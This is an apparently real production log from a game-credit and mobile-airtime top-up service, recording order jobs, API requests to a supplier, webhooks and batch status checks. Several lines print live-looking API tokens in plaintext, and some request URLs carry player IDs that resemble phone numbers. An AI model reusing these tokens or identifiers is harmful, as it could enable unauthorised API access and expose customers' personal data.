[2026-03-24 22:34:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"processed":1,"errors":0} 
[2026-03-24 22:34:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353,"processed":1,"errors":0} 
[2026-03-24 22:34:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"G1KjHjTQXpibLj9tPHuvWYwPZjOjlRQF","execution_time":"2026-03-24 22:34:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tbS2-1774380751","operation_id":164353} 
[2026-03-24 22:34:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 22:34:10] production.INFO: Constructing job for order: 179485  
[2026-03-24 22:34:13] production.INFO: Handling job for order: 179485  
[2026-03-24 22:34:13] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:34:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:34:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=45269c2f-35a1-44e0-95e8-1f23fa0c6f71&Player_ID=0980551630  
[2026-03-24 22:34:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=45269c2f-35a1-44e0-95e8-1f23fa0c6f71&Player_ID=0980551630","has_body":false} 
[2026-03-24 22:34:14] production.INFO: Operation sent successfully {"operation_id":164354,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UmlzP0c-1774380854","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 22:34:14"}},"processed_data":{"order_number":"ORD-UmlzP0c-1774380854","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 22:34:58] production.INFO: Constructing job for order: 179486  
[2026-03-24 22:34:59] production.INFO: Handling job for order: 179486  
[2026-03-24 22:34:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:34:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:34:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9c26bbd0-f9bc-47f7-86f4-704d65e4f90e&Player_ID=51934833623  
[2026-03-24 22:34:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=9c26bbd0-f9bc-47f7-86f4-704d65e4f90e&Player_ID=51934833623","has_body":false} 
[2026-03-24 22:35:00] production.INFO: Operation sent successfully {"operation_id":164355,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xHy4-1774380900","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:35:00"}},"processed_data":{"order_number":"ORD-xHy4-1774380900","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 22:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 22:35:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:35:00] production.INFO: Executing GetProducts task...  
[2026-03-24 22:35:02] production.INFO: async() رجع: true  
[2026-03-24 22:35:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:35:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:35:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:35:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:35:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-xHy4-1774380900","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:35:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-xHy4-1774380900","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:35:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:35:13] production.INFO: SendAcceptReject: Notification queued {"user_id":352,"notification_type":"order_approved","reference_id":179486} 
[2026-03-24 22:35:13] production.INFO: Order updated successfully. Order ID: 179486, Status: completed  
[2026-03-24 22:35:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-xHy4-1774380900","status":"completed","codes_count":0} 
[2026-03-24 22:35:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 352  
[2026-03-24 22:35:56] production.INFO: Constructing job for order: 179487  
[2026-03-24 22:35:58] production.INFO: Handling job for order: 179487  
[2026-03-24 22:35:58] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:35:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:35:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=42d4e581-722c-403b-8dc5-08fcc84e72c3&Player_ID=yaza147849  
[2026-03-24 22:35:58] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=42d4e581-722c-403b-8dc5-08fcc84e72c3&Player_ID=yaza147849","has_body":false} 
[2026-03-24 22:35:58] production.INFO: Operation sent successfully {"operation_id":164356,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-k2A7pIjO-1774380958","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 22:35:58"}},"processed_data":{"order_number":"ORD-k2A7pIjO-1774380958","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 22:36:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01"} 
[2026-03-24 22:36:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","total_operations":3,"sites_count":2} 
[2026-03-24 22:36:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-wgI-1774379855","ORD-k2A7pIjO-1774380958"]} 
[2026-03-24 22:36:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-k2A7pIjO-1774380958","operation_id":164356} 
[2026-03-24 22:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 22:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1,"order_ids":["ORD-UmlzP0c-1774380854"]} 
[2026-03-24 22:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1} 
[2026-03-24 22:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:36:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:36:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"count":1} 
[2026-03-24 22:36:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"count":1} 
[2026-03-24 22:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"user_id":1552,"notification_type":"order_approved","reference_id":179485} 
[2026-03-24 22:36:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:36:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:36:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"processed":1,"errors":0} 
[2026-03-24 22:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354,"processed":1,"errors":0} 
[2026-03-24 22:36:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QvYkIkooAwygSM9URwpYqAbIq88Iah7j","execution_time":"2026-03-24 22:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UmlzP0c-1774380854","operation_id":164354} 
[2026-03-24 22:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 22:36:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-k2A7pIjO-1774380958","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:36:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-k2A7pIjO-1774380958","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:36:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:36:04] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179487} 
[2026-03-24 22:36:04] production.INFO: Order updated successfully. Order ID: 179487, Status: completed  
[2026-03-24 22:36:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-k2A7pIjO-1774380958","status":"completed","codes_count":0} 
[2026-03-24 22:36:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 22:36:39] production.INFO: Constructing job for order: 179488  
[2026-03-24 22:36:41] production.INFO: Handling job for order: 179488  
[2026-03-24 22:36:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:36:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:36:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=06c94d5b-ad4d-477a-a5c4-1b8391fddaaf&Player_ID=5383496384  
[2026-03-24 22:36:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=06c94d5b-ad4d-477a-a5c4-1b8391fddaaf&Player_ID=5383496384","has_body":false} 
[2026-03-24 22:36:42] production.INFO: Operation sent successfully {"operation_id":164357,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8AAmD-1774381002","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:36:42"}},"processed_data":{"order_number":"ORD-8AAmD-1774381002","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 22:37:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8AAmD-1774381002","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:37:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-8AAmD-1774381002","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:37:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:37:07] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179488} 
[2026-03-24 22:37:07] production.INFO: Order updated successfully. Order ID: 179488, Status: completed  
[2026-03-24 22:37:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8AAmD-1774381002","status":"completed","codes_count":0} 
[2026-03-24 22:37:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:38:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00"} 
[2026-03-24 22:38:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","total_operations":1,"sites_count":1} 
[2026-03-24 22:38:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:38:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:38:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:38:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:38:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:38:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:38:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"QBI3FHVikavaRn4z5A865hGaeLfK32xZ","execution_time":"2026-03-24 22:38:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:38:14] production.INFO: Constructing job for order: 179489  
[2026-03-24 22:38:15] production.INFO: Handling job for order: 179489  
[2026-03-24 22:38:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:38:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:38:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=5508ec74-4b1d-4d61-a3af-4c97ff5c3ece&Player_ID=471156  
[2026-03-24 22:38:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/572/params?qty=1000&uuid=5508ec74-4b1d-4d61-a3af-4c97ff5c3ece&Player_ID=471156","has_body":false} 
[2026-03-24 22:38:16] production.INFO: Operation sent successfully {"operation_id":164358,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-fDJc5w-1774381096","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo","notes":[],"created_at":"2026-03-24 22:38:16"}},"processed_data":{"order_number":"ORD-fDJc5w-1774381096","amount":0.90913180000000004543636578091536648571491241455078125,"status":"processing","product":"Dimo Amount","game":"Dimo"}} 
[2026-03-24 22:38:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-fDJc5w-1774381096","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:38:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-fDJc5w-1774381096","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:38:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:38:19] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179489} 
[2026-03-24 22:38:19] production.INFO: Order updated successfully. Order ID: 179489, Status: completed  
[2026-03-24 22:38:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-fDJc5w-1774381096","status":"completed","codes_count":0} 
[2026-03-24 22:38:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 22:40:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01"} 
[2026-03-24 22:40:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","total_operations":1,"sites_count":1} 
[2026-03-24 22:40:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:40:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:40:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:40:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:40:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 22:40:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":0,"errors":0} 
[2026-03-24 22:40:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"twB2uzsUWcFo4J8AodpYvzynKRTe3HR3","execution_time":"2026-03-24 22:40:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 22:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 22:40:03] production.INFO: async() رجع: true  
[2026-03-24 22:40:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:40:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:40:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:40:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:41:24] production.INFO: Constructing job for order: 179490  
[2026-03-24 22:41:26] production.INFO: Handling job for order: 179490  
[2026-03-24 22:41:26] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:41:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:41:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=e040943b-1609-4d30-9567-23800a87d3d9&Player_ID=0953826642  
[2026-03-24 22:41:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/16/params?qty=1&uuid=e040943b-1609-4d30-9567-23800a87d3d9&Player_ID=0953826642","has_body":false} 
[2026-03-24 22:41:27] production.INFO: Operation sent successfully {"operation_id":164359,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iVxvP-1774381287","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:41:27"}},"processed_data":{"order_number":"ORD-iVxvP-1774381287","amount":527.6680000000000063664629124104976654052734375,"status":"processing","product":"500 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:41:32] production.INFO: Constructing job for order: 179491  
[2026-03-24 22:41:33] production.INFO: Handling job for order: 179491  
[2026-03-24 22:41:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 22:41:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:41:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=bbd995a6-fc60-4670-8a41-e457f2971485&Player_ID=0953826642  
[2026-03-24 22:41:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/12/params?qty=1&uuid=bbd995a6-fc60-4670-8a41-e457f2971485&Player_ID=0953826642","has_body":false} 
[2026-03-24 22:41:33] production.INFO: Operation sent successfully {"operation_id":164360,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dlo-1774381293","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 22:41:33"}},"processed_data":{"order_number":"ORD-dlo-1774381293","amount":211.06720000000001391526893712580204010009765625,"status":"processing","product":"200 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 22:42:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00"} 
[2026-03-24 22:42:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","total_operations":3,"sites_count":2} 
[2026-03-24 22:42:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-wgI-1774379855"]} 
[2026-03-24 22:42:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:42:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 22:42:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mnVTLrsVfdl5ULDB0zvPVScqMt2Hsm91","execution_time":"2026-03-24 22:42:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
